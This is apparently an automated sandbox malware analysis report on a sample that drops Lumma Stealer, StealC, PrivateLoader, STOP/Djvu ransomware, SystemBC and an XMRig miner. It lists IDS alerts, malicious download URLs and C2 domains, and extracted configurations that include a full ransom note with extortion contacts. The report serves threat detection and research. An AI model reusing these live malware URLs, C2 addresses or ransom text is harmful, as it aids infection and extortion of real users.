Destination Port:	53
Protocol:	UDP
Classtype:	Domain Observed Used for C2 Detected

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.6 - Destination IP: 194.58.114.223

Timestamp:	2024-08-21T08:32:14.621233+0200
SID:	2803270
Severity:	2
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.6 - Destination IP: 147.45.44.104

Timestamp:	2024-08-21T08:32:15.083424+0200
SID:	2803270
Severity:	2
Source Port:	49720
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Observed Lumma Stealer Related Domain (southedhiscuso .shop in TLS SNI) - Source IP: 192.168.2.6 - Destination IP: 172.67.178.83

Timestamp:	2024-08-21T08:32:57.820067+0200
SID:	2055304
Severity:	1
Source Port:	49751
Destination Port:	443
Protocol:	TCP
Classtype:	Domain Observed Used for C2 Detected

ET MALWARE Observed Lumma Stealer Related Domain (potentioallykeos .shop in TLS SNI) - Source IP: 192.168.2.6 - Destination IP: 172.67.148.102

Timestamp:	2024-08-21T08:32:52.919362+0200
SID:	2055302
Severity:	1
Source Port:	49744
Destination Port:	443
Protocol:	TCP
Classtype:	Domain Observed Used for C2 Detected

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.6 - Destination IP: 188.114.97.3

Timestamp:	2024-08-21T08:33:32.621780+0200
SID:	2803274
Severity:	2
Source Port:	49781
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Observed Lumma Stealer Related Domain (interactiedovspm .shop in TLS SNI) - Source IP: 192.168.2.6 - Destination IP: 172.67.161.217

Timestamp:	2024-08-21T08:32:53.841319+0200
SID:	2055300
Severity:	1
Source Port:	49745
Destination Port:	443
Protocol:	TCP
Classtype:	Domain Observed Used for C2 Detected

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (weiggheticulop .shop) - Source IP: 192.168.2.6 - Destination IP: 1.1.1.1

Timestamp:	2024-08-21T08:32:59.448676+0200
SID:	2055307
Severity:	1
Source Port:	60313
Destination Port:	53
Protocol:	UDP
Classtype:	Domain Observed Used for C2 Detected

ET MALWARE PrivateLoader CnC Activity (POST) - Source IP: 192.168.2.6 - Destination IP: 193.233.232.86

Timestamp:	2024-08-21T08:32:26.460989+0200
SID:	2054711
Severity:	1
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.6 - Destination IP: 162.241.63.30

Timestamp:	2024-08-21T08:32:15.003570+0200
SID:	2803270
Severity:	2
Source Port:	49729
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Observed DNS Query to Lumma Domain - Source IP: 192.168.2.6 - Destination IP: 1.1.1.1

Timestamp:	2024-08-21T08:33:00.677814+0200
SID:	2857974
Severity:	1
Source Port:	55793
Destination Port:	53
Protocol:	UDP
Classtype:	Domain Observed Used for C2 Detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.6 - Destination IP: 172.67.148.102

Timestamp:	2024-08-21T08:32:53.329853+0200
SID:	2054653
Severity:	1
Source Port:	49744
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.6 - Destination IP: 162.241.63.30

Timestamp:	2024-08-21T08:32:14.976443+0200
SID:	2803270
Severity:	2
Source Port:	49731
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.6 - Destination IP: 172.67.186.145

Timestamp:	2024-08-21T08:32:55.164234+0200
SID:	2054653
Severity:	1
Source Port:	49747
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE PrivateLoader CnC Activity (GET) - Source IP: 192.168.2.6 - Destination IP: 193.233.232.86

Timestamp:	2024-08-21T08:32:07.741443+0200
SID:	2054709
Severity:	1
Source Port:	49715
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Filecoder.STOP Variant Public Key Download - Source IP: 190.13.174.94 - Destination IP: 192.168.2.6

Timestamp:	2024-08-21T08:33:55.872306+0200
SID:	2036335
Severity:	1
Source Port:	80
Destination Port:	49786
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.6 - Destination IP: 188.114.97.3

Timestamp:	2024-08-21T08:32:57.333002+0200
SID:	2054653
Severity:	1
Source Port:	49750
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.6 - Destination IP: 172.67.178.83

Timestamp:	2024-08-21T08:32:58.245531+0200
SID:	2054653
Severity:	1
Source Port:	49751
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro) - Source IP: 192.168.2.6 - Destination IP: 1.1.1.1

Timestamp:	2024-08-21T08:32:36.557705+0200
SID:	2036289
Severity:	2
Source Port:	59992
Destination Port:	53
Protocol:	UDP
Classtype:	Crypto Currency Mining Activity Detected

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (charecteristicdxp .shop) - Source IP: 192.168.2.6 - Destination IP: 1.1.1.1

Timestamp:	2024-08-21T08:32:54.279695+0200
SID:	2055293
Severity:	1
Source Port:	55872
Destination Port:	53
Protocol:	UDP
Classtype:	Domain Observed Used for C2 Detected

ET MALWARE Observed Lumma Stealer Related Domain (consciousourwi .shop in TLS SNI) - Source IP: 192.168.2.6 - Destination IP: 188.114.97.3

Timestamp:	2024-08-21T08:32:58.719572+0200
SID:	2055296
Severity:	1
Source Port:	49752
Destination Port:	443
Protocol:	TCP
Classtype:	Domain Observed Used for C2 Detected

ET MALWARE PrivateLoader CnC Activity (GET) - Source IP: 192.168.2.6 - Destination IP: 147.45.47.57

Timestamp:	2024-08-21T08:32:07.069695+0200
SID:	2054709
Severity:	1
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.6 - Destination IP: 193.176.190.41

Timestamp:	2024-08-21T08:32:27.853793+0200
SID:	2044243
Severity:	1
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.6 - Destination IP: 188.114.97.3

Timestamp:	2024-08-21T08:32:59.445313+0200
SID:	2054653
Severity:	1
Source Port:	49752
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://147.45.44.104/prog/66c3721bc46fe_Ernrnmkio.exe#14C:	Avira URL Cloud: Label: malware
Source: https://siscorp.mx/kleiseIche.exe#spaceU?	Avira URL Cloud: Label: malware
Source: https://siscorp.mx:80/kleiseIche.exe#space	Avira URL Cloud: Label: malware
Source: http://193.233.232.86/api/twofish.php	Avira URL Cloud: Label: malware
Source: https://siscorp.mx/kleiseIche.exe#space	Avira URL Cloud: Label: malware
Source: https://siscorp.mx:80/kleiseIche.exe#spaceDJ	Avira URL Cloud: Label: malware
Source: cagedwifedsozm.shop	Avira URL Cloud: Label: malware
Source: http://api5.check-data.xyz/api2/google_api_ifi	Avira URL Cloud: Label: malware
Source: southedhiscuso.shop	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66c1c5838f95f_file1808.exe#fileotr	Avira URL Cloud: Label: malware
Source: http://193.233.232.86/api/crazyfish.php	Avira URL Cloud: Label: malware
Source: http://skrptfiles.tracemonitors.com/updates/yd/yt_wrtzr_1/win/version.txt?piuzkGLMGBsKoDuUzFpTTlIXNglIshTYt	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66c1c5838f95f_file1808.exe#fileotrws	Avira URL Cloud: Label: malware
Source: http://240812161425945.tyr.zont16.com/f/fikbam0812945.exe	Avira URL Cloud: Label: malware
Source: consciousourwi.shop	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66c3721bc46fe_Ernrnmkio.exe#14E	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66c3721bc46fe_Ernrnmkio.exe#14dllmonc	Avira URL Cloud: Label: malware
Source: http://194.58.114.223/d/525403	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66c3721bc46fe_Ernrnmkio.exe#14URE=	Avira URL Cloud: Label: malware
Source: http://www.rapidfilestorage.com/clrls/cl_rls.json	Avira URL Cloud: Label: malware
Source: http://helsinki-dtc.com/updates/yd/yt_wrtzr_1/win/version.txt?HqDPYSgSSTOASWztoUfpOUGOmVxVokMQW	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66c3721bc46fe_Ernrnmkio.exe#14K	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66c3721bc46fe_Ernrnmkio.exe#14	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66c2d861a5b4d_google.exe	Avira URL Cloud: Label: malware
Source: http://193.176.190.41/V5	Avira URL Cloud: Label: malware
Source: weiggheticulop.shop	Avira URL Cloud: Label: malware
Source: http://193.233.232.86:80/api/twofish.php	Avira URL Cloud: Label: malware
Source: http://mcrogers.com/StyleControls%20VCL.exe	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66c1c5838f95f_file1808.exe#fileotr/~	Avira URL Cloud: Label: malware
Source: http://www.rapidfilestorage.com/updates/yd/yt_wrtzr_1/win/version.txt?QAkpeBLpGKmBLvSqnBGYQFSiyrHVcHTeZ	Avira URL Cloud: Label: malware
Source: https://yip.su/1cN8u7	Avira URL Cloud: Label: phishing
Source: torubleeodsmzo.shop	Avira URL Cloud: Label: malware
Source: potentioallykeos.shop	Avira URL Cloud: Label: malware
Source: https://siscorp.mx:80/kleiseIche.exe#space7	Avira URL Cloud: Label: malware
Source: http://mcrogers.com/StyleControls%20VCL.exe;	Avira URL Cloud: Label: malware
Source: http://www.rapidfilestorage.com/updates/yd/yt_wrtzr_1/win/version.txt?cyQFFYXfMxTbmOSMGoSEriCQDgQhzEzaB	Avira URL Cloud: Label: malware
Source: http://193.176.190.41/2fa883eebd632382.phpm	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe

Avira: detection malicious, Label: HEUR/AGEN.1317028

Found malware configuration

Source: 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Djvu {"Download URLs": [""], "C2 url": "http://cajgtus.com/test1/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nDo not ask assistants from youtube and recovery data sites for help in recovering your data.\r\nThey can use your free decryption quota and scam you.\r\nOur contact is emails in this text document only.\r\nYou can get and look video overview decrypt tool:\r\nhttps://wetransfer.com/downloads/abe121434ad837dd5bdd03878a14485820240531135509/34284d\r\nPrice of private key and decrypt software is $999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $499.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0874PsawqS", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\del
Source: 8.2.6UF1Jcwj34zqEggktO7mg1WS.exe.3778a1c.1.raw.unpack	Malware Configuration Extractor: SystemBC {"HOST1": "claywyaeropumps.com", "HOST2": "178.132.2.10", "DNS1": "5.132.191.104", "DNS2": "ns1.vic.au.dns.opennic.glue", "DNS3": "ns2.vic.au.dns.opennic.glue"}
Source: 9.2.yZBxqqQICO50PLfWYKwJeSL5.exe.c000388000.3.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["consciousourwi.shop", "interactiedovspm.shop", "torubleeodsmzo.shop", "cagedwifedsozm.shop", "weiggheticulop.shop", "charecteristicdxp.shop", "potentioallykeos.shop", "deicedosmzj.shop", "southedhiscuso.shop"], "Build id": "a8kafm--@cloudcosmic"}
Source: MSBuild.exe.4896.11.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://193.176.190.41/2fa883eebd632382.php"}

Multi AV Scanner detection for domain / URL

Source: yip.su	Virustotal: Detection: 7%	Perma Link
Source: pool.hashvault.pro	Virustotal: Detection: 5%	Perma Link
Source: consciousourwi.shop	Virustotal: Detection: 20%	Perma Link
Source: mcrogers.com	Virustotal: Detection: 9%	Perma Link
Source: service-domain.xyz	Virustotal: Detection: 9%	Perma Link
Source: interactiedovspm.shop	Virustotal: Detection: 19%	Perma Link
Source: env-3936544.jcloud.kz	Virustotal: Detection: 6%	Perma Link
Source: claywyaeropumps.com	Virustotal: Detection: 9%	Perma Link
Source: charecteristicdxp.shop	Virustotal: Detection: 19%	Perma Link
Source: cagedwifedsozm.shop	Virustotal: Detection: 19%	Perma Link
Source: potentioallykeos.shop	Virustotal: Detection: 19%	Perma Link
Source: torubleeodsmzo.shop	Virustotal: Detection: 16%	Perma Link
Source: southedhiscuso.shop	Virustotal: Detection: 19%	Perma Link
Source: deicedosmzj.shop	Virustotal: Detection: 20%	Perma Link
Source: api.2ip.ua	Virustotal: Detection: 6%	Perma Link
Source: tenntysjuxmz.shop	Virustotal: Detection: 23%	Perma Link
Source: api5.check-data.xyz	Virustotal: Detection: 6%	Perma Link
Source: cajgtus.com	Virustotal: Detection: 20%	Perma Link
Source: weiggheticulop.shop	Virustotal: Detection: 19%	Perma Link
Source: 240812161425945.tyr.zont16.com	Virustotal: Detection: 5%	Perma Link
Source: http://147.45.44.104/prog/66c3721bc46fe_Ernrnmkio.exe#14C:	Virustotal: Detection: 22%	Perma Link
Source: http://193.233.232.86/api/twofish.php	Virustotal: Detection: 5%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66c1c5838f95f_file1808[1].exe	ReversingLabs: Detection: 100%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66c4c71a033c6_otr[1].exe	ReversingLabs: Detection: 58%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\StyleControls%20VCL[1].exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\66c2d861a5b4d_google[1].exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\66c3721bc46fe_Ernrnmkio[1].exe	ReversingLabs: Detection: 62%
Source: C:\Users\user\AppData\Roaming\afasdfga.exe	ReversingLabs: Detection: 62%
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	ReversingLabs: Detection: 62%
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	ReversingLabs: Detection: 100%
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	ReversingLabs: Detection: 58%
Source: C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	ReversingLabs: Detection: 75%

Multi AV Scanner detection for submitted file

Source: 3QKcKCEzYP.exe	ReversingLabs: Detection: 57%
Source: 3QKcKCEzYP.exe	Virustotal: Detection: 54%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\7zS227C.tmp\Install.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Documents\piratemamm\r0bVQRH8Dto7infNi6DOB01w.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66c4c71a033c6_otr[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\setup[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\7zS27CB.tmp\Install.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\66c3721bc46fe_Ernrnmkio[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\afasdfga.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66c1c5838f95f_file1808[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 3QKcKCEzYP.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 9.2.yZBxqqQICO50PLfWYKwJeSL5.exe.c000388000.3.unpack	String decryptor: weiggheticulop.shop
Source: 9.2.yZBxqqQICO50PLfWYKwJeSL5.exe.c000388000.3.unpack	String decryptor: consciousourwi.shop
Source: 9.2.yZBxqqQICO50PLfWYKwJeSL5.exe.c000388000.3.unpack	String decryptor: southedhiscuso.shop
Source: 9.2.yZBxqqQICO50PLfWYKwJeSL5.exe.c000388000.3.unpack	String decryptor: deicedosmzj.shop
Source: 9.2.yZBxqqQICO50PLfWYKwJeSL5.exe.c000388000.3.unpack	String decryptor: cagedwifedsozm.shop
Source: 9.2.yZBxqqQICO50PLfWYKwJeSL5.exe.c000388000.3.unpack	String decryptor: charecteristicdxp.shop
Source: 9.2.yZBxqqQICO50PLfWYKwJeSL5.exe.c000388000.3.unpack	String decryptor: interactiedovspm.shop
Source: 9.2.yZBxqqQICO50PLfWYKwJeSL5.exe.c000388000.3.unpack	String decryptor: potentioallykeos.shop
Source: 9.2.yZBxqqQICO50PLfWYKwJeSL5.exe.c000388000.3.unpack	String decryptor: torubleeodsmzo.shop
Source: 9.2.yZBxqqQICO50PLfWYKwJeSL5.exe.c000388000.3.unpack	String decryptor: lid=%s&j=%s&ver=4.0
Source: 9.2.yZBxqqQICO50PLfWYKwJeSL5.exe.c000388000.3.unpack	String decryptor: TeslaBrowser/5.5
Source: 9.2.yZBxqqQICO50PLfWYKwJeSL5.exe.c000388000.3.unpack	String decryptor: - Screen Resoluton:
Source: 9.2.yZBxqqQICO50PLfWYKwJeSL5.exe.c000388000.3.unpack	String decryptor: - Physical Installed Memory:
Source: 9.2.yZBxqqQICO50PLfWYKwJeSL5.exe.c000388000.3.unpack	String decryptor: Workgroup: -
Source: 9.2.yZBxqqQICO50PLfWYKwJeSL5.exe.c000388000.3.unpack	String decryptor: a8kafm--@cloudcosmic

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 45.3.erzljnhmzkuz.exe.850000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.3.erzljnhmzkuz.exe.850000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002D.00000003.2493029639.0000000000850000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: erzljnhmzkuz.exe PID: 6780, type: MEMORYSTR

Found strings related to Crypto-Mining

Source: erzljnhmzkuz.exe, 0000002D.00000003.2493029639.0000000000850000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: erzljnhmzkuz.exe, 0000002D.00000003.2493029639.0000000000850000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: cryptonight/0
Source: erzljnhmzkuz.exe, 0000002D.00000003.2493029639.0000000000850000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: erzljnhmzkuz.exe, 0000002D.00000003.2493029639.0000000000850000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: erzljnhmzkuz.exe, 0000002D.00000003.2493029639.0000000000850000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]
Source: erzljnhmzkuz.exe, 0000002D.00000003.2493029639.0000000000850000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49735 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 172.67.75.163:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.241.63.30:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.241.63.30:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.148.102:443 -> 192.168.2.6:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.217:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.186.145:443 -> 192.168.2.6:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.178.83:443 -> 192.168.2.6:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.6:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.160.20:443 -> 192.168.2.6:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.210.117.250:443 -> 192.168.2.6:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.225:443 -> 192.168.2.6:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49784 version: TLS 1.2

Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: MrBEu6cm6HagE9yrmXV8x4AG.exe, MrBEu6cm6HagE9yrmXV8x4AG.exe, 00000005.00000002.2673772005.0000000002200000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772EXE\obj\Debug\stealc_default.pdb source: 3QKcKCEzYP.exe, 00000000.00000003.2297572331.00000240461FB000.00000004.00000020.00020000.00000000.sdmp, fOzLadrzZNRnwv2woTdiFoXM.exe, 00000004.00000000.2361070398.0000000000BF9000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\XwlmlV.pdb. source: fOzLadrzZNRnwv2woTdiFoXM.exe, 00000004.00000002.2396821699.000000000466E000.00000004.00000800.00020000.00000000.sdmp, fOzLadrzZNRnwv2woTdiFoXM.exe, 00000004.00000002.2396821699.000000000439B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdb source: yZBxqqQICO50PLfWYKwJeSL5.exe, 00000009.00000002.2643357273.000000C000132000.00000004.00001000.00020000.00000000.sdmp, yZBxqqQICO50PLfWYKwJeSL5.exe, 00000009.00000002.2654637181.000000C000488000.00000004.00001000.00020000.00000000.sdmp, yZBxqqQICO50PLfWYKwJeSL5.exe, 00000009.00000003.2616113101.00000266CD370000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2644345323.0000000004691000.00000004.00000800.00020000.00000000.sdmp, 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2652497269.0000000005F20000.00000004.08000000.00040000.00000000.sdmp, 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2644345323.0000000004619000.00000004.00000800.00020000.00000000.sdmp, 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2609476131.0000000003611000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\XwlmlV.pdb source: fOzLadrzZNRnwv2woTdiFoXM.exe, 00000004.00000002.2396821699.000000000466E000.00000004.00000800.00020000.00000000.sdmp, fOzLadrzZNRnwv2woTdiFoXM.exe, 00000004.00000002.2396821699.000000000439B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2644345323.0000000004691000.00000004.00000800.00020000.00000000.sdmp, 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2652497269.0000000005F20000.00000004.08000000.00040000.00000000.sdmp, 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2644345323.0000000004619000.00000004.00000800.00020000.00000000.sdmp, 6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2609476131.0000000003611000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: erzljnhmzkuz.exe, 0000002D.00000003.2491555245.00000000001E0000.00000004.00000001.00020000.00000000.sdmp
